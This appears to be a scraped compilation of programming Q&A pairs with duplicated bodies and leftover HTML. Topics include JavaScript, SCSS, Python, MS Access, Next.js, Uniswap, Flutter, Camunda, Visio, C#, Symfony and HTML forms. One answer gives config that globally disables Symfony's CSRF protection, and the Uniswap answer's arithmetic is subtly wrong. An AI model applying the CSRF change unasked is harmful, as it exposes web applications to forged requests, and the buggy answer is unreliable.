To temporarily run the code to demonstrate the project to the client locally on their computer you should utilize pipenv to install the packages on their computer. You can then run the Django server using python manage.py runserver as normal without effecting their computer. Be sure to replace python with the location of the virtual python environment.

If this is something they will be using locally long-term, you can always create a script which launches the Django server on boot-up and create a shortcut to the site on their desktop.


问:
how to create a src in javascript including external variables?
assume a for loop .how we can add i in src?
extracting src from local storage

```<code>for(let i;i<10;i++){
//create an img tag object with IMG name
IMG.src='/project/images/${i}/test.png'
}
</code>```

答:
There are two options:

backticks:

```<code>IMG.src = `example.com/images/${i}`
</code>```

the +:

IMG.src = 'example.com/images/'+i

Both work, but I prefer the first option.

Body:
assume a for loop .how we can add i in src?
extracting src from local storage

for(let i;i<10;i++){
//create an img tag object with IMG name
IMG.src='/project/images/${i}/test.png'
}

Body:
There are two options:

backticks:

IMG.src = `example.com/images/${i}`

the +:

IMG.src = 'example.com/images/'+i

Both work, but I prefer the first option.


问:
Is there a way to use embedding style syntax for simplifying ( adding namespace to ) multiple class selectors in SCSS?
I have icon classes that contain the background-image and background-size properties. I want to protect the names of these classes with the prefix .icon. Then I can start writing out .icon.profile, .icon.search etc. selectors. If it were .icon .profile, .icon .search etc., then I could use embedding is SCSS to neatly protect namespace. However embedding won't work for multiple class selectors, because it selects child nodes. Once I use SCSS, it feels unintelligent to write out the prefix every time. To use embedding in DOM to support embedding in SCSS is an overkill and expensive ( adds unnecessary complexity of DOM elements ).

Is there a way to add "namespace" to classes that compile to multiple class selectors.

//////////////////////////////////////////////////////////////
// icons
.icon.search {
  background-image: url(...);
  background-size: cover;
}

.icon.profile {
  background-image: url(...);
  background-size: cover;
}
//////////////////////////////////////////////////////////////
```

答:
If I understand your problem correctly, what you are looking for is the parent selector &:

```<code>.icon {
  &.search {
    background-image: url(...);
    background-size: cover;
  }

  &.profile {
    background-image: url(...);
    background-size: cover;
  }
}
</code>```

Body:
If I understand your problem correctly, what you are looking for is the parent selector &:

.icon {
  &.search {
    background-image: url(...);
    background-size: cover;
  }

  &.profile {
    background-image: url(...);
    background-size: cover;
  }
}


问:
Compare two Dictionary Key Values
```<code>Roles_dict1 = {'CEO':1,'CTO':2,'Devops':3}
User_list = {'Jhon':'CEO','MATEW':'Devops','Bill':'CTO'}

for key in Roles_dict1.keys():
            Z = [b for b in Roles_dict1.keys() if any(b in a for a in User_list.values())]
print(Z)
</code>```

I'm trying to print Z in the order of Roles_dict1

I'm getting this following as output

['CEO', 'CTO', 'Devops']

Expected output

```<code>{'Jhon':'CEO','Bill':'CTO','MATEW':'Devops'}
</code>```

Thanks in Advance

答:
You want to simply take the items() of your list then sort them using the values in roles.

Roles_dict1 = {'CEO':1,'CTO':2,'Devops':3}
User_list = {'Jhon':'CEO','MATEW':'Devops','Bill':'CTO'}
user_list_items = sorted(User_list.items(), key=lambda item: Roles_dict1[item[1]])
print(dict(user_list_items))
```
<p>This will give you:</p>
```{'Jhon': 'CEO', 'Bill': 'CTO', 'MATEW': 'Devops'}
```

If you don't see this you might have an older version of python and in that case, you might looks at collections.OrderedDict() or just leave things as a list of items.

Title: Compare two Dictionary Key Values

Body:
Roles_dict1 = {'CEO':1,'CTO':2,'Devops':3}
User_list = {'Jhon':'CEO','MATEW':'Devops','Bill':'CTO'}

for key in Roles_dict1.keys():
            Z = [b for b in Roles_dict1.keys() if any(b in a for a in User_list.values())]
print(Z)

I'm trying to print Z in the order of Roles_dict1

I'm getting this following as output

['CEO', 'CTO', 'Devops']

Expected output

{'Jhon':'CEO','Bill':'CTO','MATEW':'Devops'}

Thanks in Advance

Body:
You want to simply take the items() of your list then sort them using the values in roles.

Roles_dict1 = {'CEO':1,'CTO':2,'Devops':3}
User_list = {'Jhon':'CEO','MATEW':'Devops','Bill':'CTO'}
user_list_items = sorted(User_list.items(), key=lambda item: Roles_dict1[item[1]])
print(dict(user_list_items))

This will give you:

{'Jhon': 'CEO', 'Bill': 'CTO', 'MATEW': 'Devops'}

If you don't see this you might have an older version of python and in that case, you might looks at collections.OrderedDict() or just leave things as a list of items.


问:
MS Access UPDATE with JOIN on three conditions
I'm trying to update records through a single inner join with multiple criteria. My best effort so far is this:

```<code>UPDATE FormData d
INNER JOIN ProductGrowthDays g
ON d.ProductCode = g.ProductCode AND
ON d.ProductionLineCode = g.ProductionLineCode AND
ON g.MonthIndex = MONTH(d.SowingDate)
SET d.EstimatedDays = g.GrowingDays
WHERE
d.EventTypeId = 1
</code>```

Access gives the error 'Syntax error (missing operator)' and highlights the 'r' in 'd.ProductCode'. The join is guaranteed to give a single row.

Could anyone give me pointers on how to fix this?

答:
D'oh. The answer was as follows:

```<code>UPDATE FormData d
INNER JOIN ProductGrowthDays g
ON (d.ProductCode = g.ProductCode
AND d.ProductionLineCode = g.ProductionLineCode
AND g.MonthIndex = MONTH(d.SowingDate))
SET d.EstimatedDays = g.GrowingDays
WHERE
d.EventTypeId = 1
</code>```

I was sure I tried that at one point, but obviously not. Well, leaving this here if someone else should need it.

Body:
I'm trying to update records through a single inner join with multiple criteria. My best effort so far is this:

UPDATE FormData d
INNER JOIN ProductGrowthDays g
ON d.ProductCode = g.ProductCode AND
ON d.ProductionLineCode = g.ProductionLineCode AND
ON g.MonthIndex = MONTH(d.SowingDate)
SET d.EstimatedDays = g.GrowingDays
WHERE
d.EventTypeId = 1

Access gives the error 'Syntax error (missing operator)' and highlights the 'r' in 'd.ProductCode'. The join is guaranteed to give a single row.

Could anyone give me pointers on how to fix this?

Body:
D'oh. The answer was as follows:

UPDATE FormData d
INNER JOIN ProductGrowthDays g
ON (d.ProductCode = g.ProductCode
AND d.ProductionLineCode = g.ProductionLineCode
AND g.MonthIndex = MONTH(d.SowingDate))
SET d.EstimatedDays = g.GrowingDays
WHERE
d.EventTypeId = 1

I was sure I tried that at one point, but obviously not. Well, leaving this here if someone else should need it.


问:
Using innerHTML to get a whole page content
I am still a beginner in Javascript and I wondering if I can use innerHTML to post the whole HTML content from another page.
I have used innerHTML to just post an HTML code within the same .js page. For example:

I have main.js that contains this

class MyComponent extends HTMLElement {
  connectedCallback() {
this.innerHTML = `<h1>Hello world</h1>`;
  }
}

customElements.define('my-component', MyComponent);```
</div>
</div>
</p>
<p>and in the <strong>index.html</strong> I use this code to implement the main.js</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><!doctype html>
<html lang="en">
<head>
<script type="application/javascript" src="js/main.js"></script>
</head>

<body>
    <my-component></my-component>
</body>
</html></code>```

The question is can I include an HTML page instead
Hello world
 like header.html to get the whole HTML code from it? if not, Is there any way to do that?
Thanks.

Edit: I mean for example if I have a page named footer.html and in that page, I have an h1 ex. "Hello world" And I need to use the same h1 in another page index.html without rewrite it again. Can I make that h1 as a template to use in any other page using javascript?
My idea that I was looking for is:

Making main.js

get h1 from footer.html in main.js

import that script in index.html

using h1 in index.html
I know that I can do that using "include" in PHP but I am just trying to do it by javascript.

答:
You can do that with AJAX. Set an URL for that file and make a get request with AJAX.

Using JQUERY

```<code>$.get("file_path.html", function(fileText){});
</code>```

Body:
I am still a beginner in Javascript and I wondering if I can use innerHTML to post the whole HTML content from another page.
I have used innerHTML to just post an HTML code within the same .js page. For example:

I have main.js that contains this

class MyComponent extends HTMLElement {
  connectedCallback() {
this.innerHTML = `<h1>Hello world</h1>`;
  }
}

customElements.define('my-component', MyComponent);

and in the index.html I use this code to implement the main.js

<!doctype html>

    <my-component></my-component>

The question is can I include an HTML page instead
Hello world
 like header.html to get the whole HTML code from it? if not, Is there any way to do that?
Thanks.

Edit: I mean for example if I have a page named footer.html and in that page, I have an h1 ex. "Hello world" And I need to use the same h1 in another page index.html without rewrite it again. Can I make that h1 as a template to use in any other page using javascript?
My idea that I was looking for is:

Making main.js

get h1 from footer.html in main.js

import that script in index.html

using h1 in index.html
I know that I can do that using "include" in PHP but I am just trying to do it by javascript.

Body:
You can do that with AJAX. Set an URL for that file and make a get request with AJAX.

Using JQUERY

$.get("file_path.html", function(fileText){});


问:
Next.js react-device-detect Warning : Text content did not match server
This error happens when using the isMobile property from the react-device-detect library for conditional rendering.

To get to this error, I created a new next app using npx create-next-app, then installed the react-device-detect package with npm. Then I just replaced the index.js with this :

```<code>    import {
      BrowserView,
      MobileView
    } from 'react-device-detect'

    export default function Home() {
      return <div>
        <BrowserView>Hello</BrowserView>
        <MobileView>World</MobileView>
      </div>
    }
</code>```

When I start the development server and open the page on the desktop, I see Hello and no error. But when I go on Safari on my phone, I see World but I can see in the development tools that I also get this warning message :

```<code>Warning: Text content did not match. Server: "Hello" Client: "World"
div
MobileView
div
Home
MyApp
PureComponent
ReactDevOverlay
_classCallCheck
AppContainer
Root
</code>```

I've read some articles about hydration and seen that I can add the suppressHydrationWarning property to suppress this warning, but is this what I should do here, or am I not understanding something?

答:
The warning is saying that the content rendered on server side is different to what is rendered on client side. As this happening kind of defeats the purpose of server side rendering, that's why it's warning you. If you are not able to detect the device and server side there is not much you can do and can decide to ignore the warning. It's not the end of the world but could negatively affect SEO and cause some content flickering.

Some possibilities might be:

Take an educated guess about the users device on server side by analysing the user-agent property (I think some libraries can help with that)

Consider using CSS media queries instead to manage what content is displayed to the user (if it's screen size you care about rather than device type). It might make things simpler.

Body:
This error happens when using the isMobile property from the react-device-detect library for conditional rendering.

To get to this error, I created a new next app using npx create-next-app, then installed the react-device-detect package with npm. Then I just replaced the index.js with this :

    import {
      BrowserView,
      MobileView
    } from 'react-device-detect'

    export default function Home() {
      return

        <BrowserView>Hello</BrowserView>
        <MobileView>World</MobileView>

    }

When I start the development server and open the page on the desktop, I see Hello and no error. But when I go on Safari on my phone, I see World but I can see in the development tools that I also get this warning message :

Warning: Text content did not match. Server: "Hello" Client: "World"
div
MobileView
div
Home
MyApp
PureComponent
ReactDevOverlay
_classCallCheck
AppContainer
Root

I've read some articles about hydration and seen that I can add the suppressHydrationWarning property to suppress this warning, but is this what I should do here, or am I not understanding something?


问:
How to get token prices with UNISWAP API
I am using uniswap python api to get live token prices. I am using all the variation of the builtin functions. However, it does not give me the right value.

HERE IS MY CODE

```<code>address = "0x0000000000000000000000000000000000000000"
private_key =  None
uniswap_wrapper = Uniswap(address, private_key,infura_url,version=2)
dai = "0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359"

print(uniswap_wrapper.get_eth_token_input_price(dai, 5*10**18))
print(uniswap_wrapper.get_token_eth_input_price(dai, 5*10**18))
print(uniswap_wrapper.get_eth_token_output_price(dai, 5*10**18))
print(uniswap_wrapper.get_token_eth_output_price(dai, 5*10**18))
</code>```

And these are my results respectively,

```<code>609629848330146249678
24997277527023953
25306950626771242
2676124437498249933489
</code>```

I don't want to use coingecko or coinmarketcaps api as they do not list newly released token prices immediately.

I tried etherscan to get token prices but it does not have a built-in function for that. Does anybody any suggestions on how to fix that or do you know any alternatives?

答:
I don't have the time or setup to test this right now, but I believe that what you want is something like this:</p>
```<code>print(uniswap_wrapper.get_eth_token_input_price(dai, 5*10**18)/5*10**18)
print(uniswap_wrapper.get_token_eth_input_price(dai, 5*10**18)/5*10**18)
print(uniswap_wrapper.get_eth_token_output_price(dai, 5*10**18)/5*10**18)
print(uniswap_wrapper.get_token_eth_output_price(dai, 5*10**18)/5*10**18)
</code>```

Body:
I am using uniswap python api to get live token prices. I am using all the variation of the builtin functions. However, it does not give me the right value.

HERE IS MY CODE

address = "0x0000000000000000000000000000000000000000"
private_key =  None
uniswap_wrapper = Uniswap(address, private_key,infura_url,version=2)
dai = "0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359"

print(uniswap_wrapper.get_eth_token_input_price(dai, 5*10**18))
print(uniswap_wrapper.get_token_eth_input_price(dai, 5*10**18))
print(uniswap_wrapper.get_eth_token_output_price(dai, 5*10**18))
print(uniswap_wrapper.get_token_eth_output_price(dai, 5*10**18))

And these are my results respectively,

609629848330146249678
24997277527023953
25306950626771242
2676124437498249933489

I don't want to use coingecko or coinmarketcaps api as they do not list newly released token prices immediately.

I tried etherscan to get token prices but it does not have a built-in function for that. Does anybody any suggestions on how to fix that or do you know any alternatives?

Body:
I don't have the time or setup to test this right now, but I believe that what you want is something like this:

print(uniswap_wrapper.get_eth_token_input_price(dai, 5*10**18)/5*10**18)
print(uniswap_wrapper.get_token_eth_input_price(dai, 5*10**18)/5*10**18)
print(uniswap_wrapper.get_eth_token_output_price(dai, 5*10**18)/5*10**18)
print(uniswap_wrapper.get_token_eth_output_price(dai, 5*10**18)/5*10**18)


问:
Hide FAB when onscreen keyboard appear
In Flutter, how to make FAB button hide when onscreen keyboard appear?

FAB button cover up other element when on screenkeyboard show up.

答:
I hope this is what you are looking for</p>
```<code>Scaffold(resizeToAvoidBottomInset: false)
</code>```

ContentLicense: CC BY-SA 3.0

Title: Hide FAB when onscreen keyboard appear

Body:
I hope this is what you are looking for

Scaffold(resizeToAvoidBottomInset: false)


问:
How can I correlate the message to the running camunda process from the API which is called explicitly
I am running a camunda process and waiting for an event to occur. I need to trigger the message from a different API which is not part of the process.

Please let me know how can I correlate the message to the running camunda process from the API which is called explicitly.

答:
There are no restrictions on from where to correlate a Message.

You can for example correlate via the businessKey.

Here an example with the fluent API:

```<code>runtimeService.createMessageCorrelation("orderCancelled")
      .processInstanceBusinessKey("someOrderId")
      .setVariable("CANCEL_REASON", "someReason")
      .setVariable("CANCEL_TIMESTAMP", new Date())
      .correlate();
</code>```

This is taken from Fluent API for Message Correlation

Or check out the Rest-API that is described here:

https://docs.camunda.org/manual/7.16/reference/rest/message/post-message/

Body:
There are no restrictions on from where to correlate a Message.

You can for example correlate via the businessKey.

Here an example with the fluent API:

runtimeService.createMessageCorrelation("orderCancelled")
      .processInstanceBusinessKey("someOrderId")
      .setVariable("CANCEL_REASON", "someReason")
      .setVariable("CANCEL_TIMESTAMP", new Date())
      .correlate();

This is taken from Fluent API for Message Correlation

Or check out the Rest-API that is described here:

https://docs.camunda.org/manual/7.16/reference/rest/message/post-message/


问:
How would I add a Shape.Id to a Shape in Visio
I am working with the Visio Visual in Power BI.  I need to add an Id to shapes in a Visio diagram that I want to reference in Power BI.

When I open my diagram in Visio 2019, and open show the shape data, it is empty.  There is no shape data.

How would I add the prerequisite Shape Id to this shape so that I can reference it in Power BI?

Do I need to use the Define Shape Data to add a unique Shape Id?

答: All shapes in Visio always have ID. You cannot "define" shape ID, it is read-only. You can find the shape ID by clicking "Shape Name" button on the toolbar. Note that the "Developer" tab is not displayed by default, you may need to turn it on:


问:
extract a dictionary inside a list
[{'_id': ObjectId('6204dda64e780dcc064f5d21'), 'account_name': 'ami', 'debit_account': '33649785257', 'debit_amount': '500', 'con_account_no': '24296548569'}, {'_id': ObjectId('6204de164e780dcc064f5d22'), 'account_name': 'clement', 'debit_account': '33649785257', 'debit_amount': '450000', 'con_account_no': '33389201692'}, {'_id': ObjectId('6204ff2fb401b8ef4aef4542'), 'account_name': 'aka', 'debit_account': '33649785257', 'debit_amount': '400', 'con_account_no': '32206575370'}]

How do I remove the list above to just dictionary like

{'_id': ObjectId('6204dda64e780dcc064f5d21'), 'account_name': 'ami', 'debit_account': '33649785257', 'debit_amount': '500', 'con_account_no': '24296548569'}, {'_id': ObjectId('6204de164e780dcc064f5d22'), 'account_name': 'clement', 'debit_account': '33649785257', 'debit_amount': '450000', 'con_account_no': '33389201692'}, {'_id': ObjectId('6204ff2fb401b8ef4aef4542'), 'account_name': 'aka', 'debit_account': '33649785257', 'debit_amount': '400', 'con_account_no': '32206575370'}

答:
Note that you have more than 1 object inside the list. If you want select one object directly from the list you must specify the object index (starts from 0 to len(list)-1) by adding "[object_index]" beside of list, like that:

```<code>[{'_id': ObjectId('6204dda64e780dcc064f5d21'), 'account_name': 'ami', 'debit_account': '33649785257', 'debit_amount': '500', 'con_account_no': '24296548569'}, {'_id': ObjectId('6204de164e780dcc064f5d22'), 'account_name': 'clement', 'debit_account': '33649785257', 'debit_amount': '450000', 'con_account_no': '33389201692'}, {'_id': ObjectId('6204ff2fb401b8ef4aef4542'), 'account_name': 'aka', 'debit_account': '33649785257', 'debit_amount': '400', 'con_account_no': '32206575370'}][0]
</code>```

This must returns:

```<code>{
    '_id': ObjectId('6204dda64e780dcc064f5d21'),
    'account_name': 'ami',
    'debit_account': '33649785257',
    'debit_amount': '500',
    'con_account_no': '24296548569'
}
</code>```

Its a good practice store the objects list into an variable so you can access one object or more specifying theyrs indexes and with this practice you can iterate over the object list.

```<code>accounts=[
    {'_id': ObjectId('6204dda64e780dcc064f5d21'), 'account_name': 'ami', 'debit_account': '33649785257', 'debit_amount': '500', 'con_account_no': '24296548569'},
    {'_id': ObjectId('6204de164e780dcc064f5d22'), 'account_name': 'clement', 'debit_account': '33649785257', 'debit_amount': '450000', 'con_account_no': '33389201692'},
    {'_id': ObjectId('6204ff2fb401b8ef4aef4542'), 'account_name': 'aka', 'debit_account': '33649785257', 'debit_amount': '400', 'con_account_no': '32206575370'}
]
firstAccount=accounts[0]
</code>```

Content of firstAccount

```<code>{
    '_id': ObjectId('6204dda64e780dcc064f5d21'),
    'account_name': 'ami',
    'debit_account': '33649785257',
    'debit_amount': '500',
    'con_account_no': '24296548569'
}
</code>```

With this pratice you can iterate over the object list.

Note that both methods returns the dict object that corresponds to informed index.

Title: extract a dictionary inside a list

Body:
Note that you have more than 1 object inside the list. If you want select one object directly from the list you must specify the object index (starts from 0 to len(list)-1) by adding "[object_index]" beside of list, like that:

[{'_id': ObjectId('6204dda64e780dcc064f5d21'), 'account_name': 'ami', 'debit_account': '33649785257', 'debit_amount': '500', 'con_account_no': '24296548569'}, {'_id': ObjectId('6204de164e780dcc064f5d22'), 'account_name': 'clement', 'debit_account': '33649785257', 'debit_amount': '450000', 'con_account_no': '33389201692'}, {'_id': ObjectId('6204ff2fb401b8ef4aef4542'), 'account_name': 'aka', 'debit_account': '33649785257', 'debit_amount': '400', 'con_account_no': '32206575370'}][0]

This must returns:

{
    '_id': ObjectId('6204dda64e780dcc064f5d21'),
    'account_name': 'ami',
    'debit_account': '33649785257',
    'debit_amount': '500',
    'con_account_no': '24296548569'
}

Its a good practice store the objects list into an variable so you can access one object or more specifying theyrs indexes and with this practice you can iterate over the object list.

accounts=[
    {'_id': ObjectId('6204dda64e780dcc064f5d21'), 'account_name': 'ami', 'debit_account': '33649785257', 'debit_amount': '500', 'con_account_no': '24296548569'},
    {'_id': ObjectId('6204de164e780dcc064f5d22'), 'account_name': 'clement', 'debit_account': '33649785257', 'debit_amount': '450000', 'con_account_no': '33389201692'},
    {'_id': ObjectId('6204ff2fb401b8ef4aef4542'), 'account_name': 'aka', 'debit_account': '33649785257', 'debit_amount': '400', 'con_account_no': '32206575370'}
]
firstAccount=accounts[0]

Content of firstAccount

{
    '_id': ObjectId('6204dda64e780dcc064f5d21'),
    'account_name': 'ami',
    'debit_account': '33649785257',
    'debit_amount': '500',
    'con_account_no': '24296548569'
}

With this pratice you can iterate over the object list.

Note that both methods returns the dict object that corresponds to informed index.


问:
Removing conjunctions from a .txt file using words in an array
I was trying to remove conjunctions and punctuations from a txt file. Punctuations are removed successfully but some conjunctions remained. Here is my code:

```<code>public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            string words = File.ReadAllText(@"C:\Users\...\Desktop\data_protection_law.txt").ToLower(new CultureInfo("en-US", false));

            string[] punctuation = { ".", "!", "?", "–", "-", "-", "/", "_", ",", ";", ":", "(", ")", "[", "]", "“", "”", "\"", "1", "2", "3", "4", "5", "6", "7", "8", "9" };
            string[] con_art = { "the", "a", "an", "for", "and", "or", "nor", "but", "yet", "so", "of", "to", "in", "are", "is", "on", "be", "by", "we", "he", "that", "he", "that", "because", "as", "it", "about", "were", "i", "our", "they", "with", "these", "there", "then", "them" };

            foreach (string s in punctuation)
            {
                words = words.Replace(s, "");
            }

            foreach (string s in con_art)
            {
                words = words.Replace(" " + s + " ", " ");
            }

            richTextBox1.Text = words;
        }

    }
</code>```

I printed the words in richTextBox just to be sure. When I checked the original text, I found that some conjunctions were deleted but not all.
Here is the proof of the remaining conjunctions

Original Text File

I'm going crazy, I've been trying to find the mistake myself for days, but I couldn't find it.

So where is my mistake in this code?
Btw I'm just a beginner so don't be angry if I made a big mistake :)

答:
I think you'll need to change your search and replace style completely; it would be easiest to use regular expressions here

```<code>var rex = string.Join("|", con_art.Select(w => $@"\b{w}\b"));
words = Regex.Replace(words, rex, "", RegexOptions.IgnoreCase);
</code>```

The first line of code converts your word list to a string like

```<code>\bthe\b|\ba\b|\ban\b|\bfor\b|\band\b|\bor\b|...
</code>```

When used by a regular expression engine \b means "boundary between a non word character like space, punctuation, new line etc, and a word character like letters, numbers etc"; this effectively makes the search for the, a,an, for, and etc function as "whole word only" - what you're trying with your spaces (which isn't working out because sometimes your words aren't surrounded by spaces).

The vertical bar | means "or"; by supplying a list of "whole word 'the' OR whole word 'a' OR whole word 'an' ..." like this it means you don't have to Replace() over and over again in a loop

Body:
I was trying to remove conjunctions and punctuations from a txt file. Punctuations are removed successfully but some conjunctions remained. Here is my code:

public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            string words = File.ReadAllText(@"C:\Users\...\Desktop\data_protection_law.txt").ToLower(new CultureInfo("en-US", false));

            string[] punctuation = { ".", "!", "?", "–", "-", "-", "/", "_", ",", ";", ":", "(", ")", "[", "]", "“", "”", "\"", "1", "2", "3", "4", "5", "6", "7", "8", "9" };
            string[] con_art = { "the", "a", "an", "for", "and", "or", "nor", "but", "yet", "so", "of", "to", "in", "are", "is", "on", "be", "by", "we", "he", "that", "he", "that", "because", "as", "it", "about", "were", "i", "our", "they", "with", "these", "there", "then", "them" };

            foreach (string s in punctuation)
            {
                words = words.Replace(s, "");
            }

            foreach (string s in con_art)
            {
                words = words.Replace(" " + s + " ", " ");
            }

            richTextBox1.Text = words;
        }

    }

I printed the words in richTextBox just to be sure. When I checked the original text, I found that some conjunctions were deleted but not all.
Here is the proof of the remaining conjunctions

Original Text File

I'm going crazy, I've been trying to find the mistake myself for days, but I couldn't find it.

So where is my mistake in this code?
Btw I'm just a beginner so don't be angry if I made a big mistake :)

Body:
I think you'll need to change your search and replace style completely; it would be easiest to use regular expressions here

var rex = string.Join("|", con_art.Select(w => $@"\b{w}\b"));
words = Regex.Replace(words, rex, "", RegexOptions.IgnoreCase);

The first line of code converts your word list to a string like

\bthe\b|\ba\b|\ban\b|\bfor\b|\band\b|\bor\b|...

When used by a regular expression engine \b means "boundary between a non word character like space, punctuation, new line etc, and a word character like letters, numbers etc"; this effectively makes the search for the, a,an, for, and etc function as "whole word only" - what you're trying with your spaces (which isn't working out because sometimes your words aren't surrounded by spaces).

The vertical bar | means "or"; by supplying a list of "whole word 'the' OR whole word 'a' OR whole word 'an' ..." like this it means you don't have to Replace() over and over again in a loop


问:
How to disable csrf in symfony?
I used the code below and it has csrf too. But how can I disable its csrf? I searched and Disable CSRF token on login form did not help, as there createFormBuilder() is not used in my case below, so what should I do?

```<code>$csrfStorage = new NativeSessionTokenStorage();
$csrfGenerator = new UriSafeTokenGenerator();
$csrfManager = new CsrfTokenManager($csrfGenerator, $csrfStorage);

$formFactory = Forms::createFormFactoryBuilder()
    ->addExtension(new CsrfExtension($csrfManager))
    ->getFormFactory();

$defaultFormTheme = 'bootstrap_3_layout.html.twig';

$vendorDir = realpath(__DIR__.'/../vendor');
$appVariableReflection = new \ReflectionClass('\Symfony\Bridge\Twig\AppVariable');
$vendorTwigBridgeDir = dirname($appVariableReflection->getFileName());
$viewsDir = realpath('twig');

$twig = new Twig_Environment(new Twig_Loader_Filesystem(array(
    $viewsDir,
    $vendorTwigBridgeDir.'/Resources/views/Form',
)));
$formEngine = new TwigRendererEngine(array($defaultFormTheme), $twig);
$twig->addRuntimeLoader(new \Twig_FactoryRuntimeLoader(array(
    TwigRenderer::class => function () use ($formEngine, $csrfManager) {
        return new TwigRenderer($formEngine, $csrfManager);
    },
)));
$twig->addExtension(new FormExtension());

$translator = new Translator('en');
$twig->addExtension(new TranslationExtension($translator));
$form = $formFactory->createBuilder()
    ->add('task', TextType::class)
    ->add('dueDate', DateType::class)
    ->getForm();

$request = Request::createFromGlobals();
$form->handleRequest();
if ($form->isSubmitted() && $form->isValid()) {
    $data = $form->getData();
    print_r($data);
}

$twig->display('new.html.twig', array(
    'form' => $form->createView(),
));
</code>```

答:
To disable it globally for all of the forms (if for example you want to implement your own logic)

You can set in your config/packages/framework.yaml

framework:
  form:
    csrf_protection:
      enabled: false
```

Title: How to disable csrf in symfony?

Body:
I used the code below and it has csrf too. But how can I disable its csrf? I searched and Disable CSRF token on login form did not help, as there createFormBuilder() is not used in my case below, so what should I do?

$csrfStorage = new NativeSessionTokenStorage();
$csrfGenerator = new UriSafeTokenGenerator();
$csrfManager = new CsrfTokenManager($csrfGenerator, $csrfStorage);

$formFactory = Forms::createFormFactoryBuilder()
    ->addExtension(new CsrfExtension($csrfManager))
    ->getFormFactory();

$defaultFormTheme = 'bootstrap_3_layout.html.twig';

$vendorDir = realpath(__DIR__.'/../vendor');
$appVariableReflection = new \ReflectionClass('\Symfony\Bridge\Twig\AppVariable');
$vendorTwigBridgeDir = dirname($appVariableReflection->getFileName());
$viewsDir = realpath('twig');

$twig = new Twig_Environment(new Twig_Loader_Filesystem(array(
    $viewsDir,
    $vendorTwigBridgeDir.'/Resources/views/Form',
)));
$formEngine = new TwigRendererEngine(array($defaultFormTheme), $twig);
$twig->addRuntimeLoader(new \Twig_FactoryRuntimeLoader(array(
    TwigRenderer::class => function () use ($formEngine, $csrfManager) {
        return new TwigRenderer($formEngine, $csrfManager);
    },
)));
$twig->addExtension(new FormExtension());

$translator = new Translator('en');
$twig->addExtension(new TranslationExtension($translator));
$form = $formFactory->createBuilder()
    ->add('task', TextType::class)
    ->add('dueDate', DateType::class)
    ->getForm();

$request = Request::createFromGlobals();
$form->handleRequest();
if ($form->isSubmitted() && $form->isValid()) {
    $data = $form->getData();
    print_r($data);
}

$twig->display('new.html.twig', array(
    'form' => $form->createView(),
));


问:
How can I make an entire HTML form "readonly"?
I have two pages with HTML forms. The first page has a submission form, and the second page has an acknowledgement form. The first form offers a choice of many controls, while the second page displays the data from the submission form again with a confirmation message. On this second form all fields must be static.

From what I can see, some form controls can be readonly and all can be disabled, the difference being that you can still tab to a readonly field.

Rather than doing this field by field is there any way to mark the whole form as readonly/disabled/static such that the user can't alter any of the controls?

答:
A simple need : display non-editable form (that can become editable later on) with minimum code and headache.

If you can't use the 'disabled' attribut (as it erases the value's input at POST), and noticed that html attribut 'readonly' works only on textarea and some input(text, password, search, as far I've seen), and finally, if you don't want to bother with duplicating all your select, checkbox and radio with hidden input logics,
you might find the following function or any of his inner logics to your liking :

addReadOnlyToFormElements = function (idElement) {

        // textarea an input of type (text password search) work with the html readonly
        $('#' + idElement + ' textarea, #' + idElement + ' input').prop('readonly',true);

        // but you still have to destroy their associated objects, as I.E, datepicker (in our old project, datepicker is appended to input where 'Date' is in name attribut, don't ask why)
        $('#' + idElement + ' input[name*="Date"]').datepicker('destroy');

        // html readonly don't work on input of type checkbox and radio, neither on select. So, a safe trick is to disable the non-selected items
        $('#' + idElement + ' input[type="checkbox"]:not(:checked), #' + idElement + ' input[type="radio"]:not(:checked)').prop('disabled',true);
        $('#' + idElement + ' select>option:not([selected])').prop('disabled',true);

        // and, on the selected ones, to disable mouse/keyoard events and mimic readOnly appearance
        $('#' + idElement + ' input[type="checkbox"]:checked').prop('tabindex','-1').css('pointer-events','none').css('opacity','0.5');
        $('#' + idElement + ' input[type="radio"]:checked').css('opacity','0.5');
        $('#' + idElement + ' select').css('background-color','#eee');
    }```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script></code>```

And there's nothing easier than to remove these readonly

removeReadOnlyFromFormElements = function (idElement) {

    // just remove the html readonly on textarea and input
    $('#' + idElement + ' textarea, #' + idElement + ' input').prop('readonly',false);

    // and restore their Objects, as I.E, datepicker
    $('#' + idElement + ' input[name*="Date"]').datepicker();

    // Remove the disabled attribut on non-selected
    $('#' + idElement + ' input[type="checkbox"]:not(:checked), #' + idElement + ' input[type="radio"]:not(:checked)').prop('disabled',false);
    $('#' + idElement + ' select>option:not([selected])').prop('disabled',false);

    // Restore mouse/keyboard events and remove readOnly appearance on selected ones
    $('#' + idElement + ' input[type="checkbox"]:checked').prop('tabindex','').css('pointer-events','').css('opacity','');
    $('#' + idElement + ' input[type="radio"]:checked').css('opacity','');
    $('#' + idElement + ' select').css('background-color','');
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script></code>```

Body:
A simple need : display non-editable form (that can become editable later on) with minimum code and headache.

If you can't use the 'disabled' attribut (as it erases the value's input at POST), and noticed that html attribut 'readonly' works only on textarea and some input(text, password, search, as far I've seen), and finally, if you don't want to bother with duplicating all your select, checkbox and radio with hidden input logics,
you might find the following function or any of his inner logics to your liking :

addReadOnlyToFormElements = function (idElement) {

        // textarea an input of type (text password search) work with the html readonly
        $('#' + idElement + ' textarea, #' + idElement + ' input').prop('readonly',true);

        // but you still have to destroy their associated objects, as I.E, datepicker (in our old project, datepicker is appended to input where 'Date' is in name attribut, don't ask why)
        $('#' + idElement + ' input[name*="Date"]').datepicker('destroy');

        // html readonly don't work on input of type checkbox and radio, neither on select. So, a safe trick is to disable the non-selected items
        $('#' + idElement + ' input[type="checkbox"]:not(:checked), #' + idElement + ' input[type="radio"]:not(:checked)').prop('disabled',true);
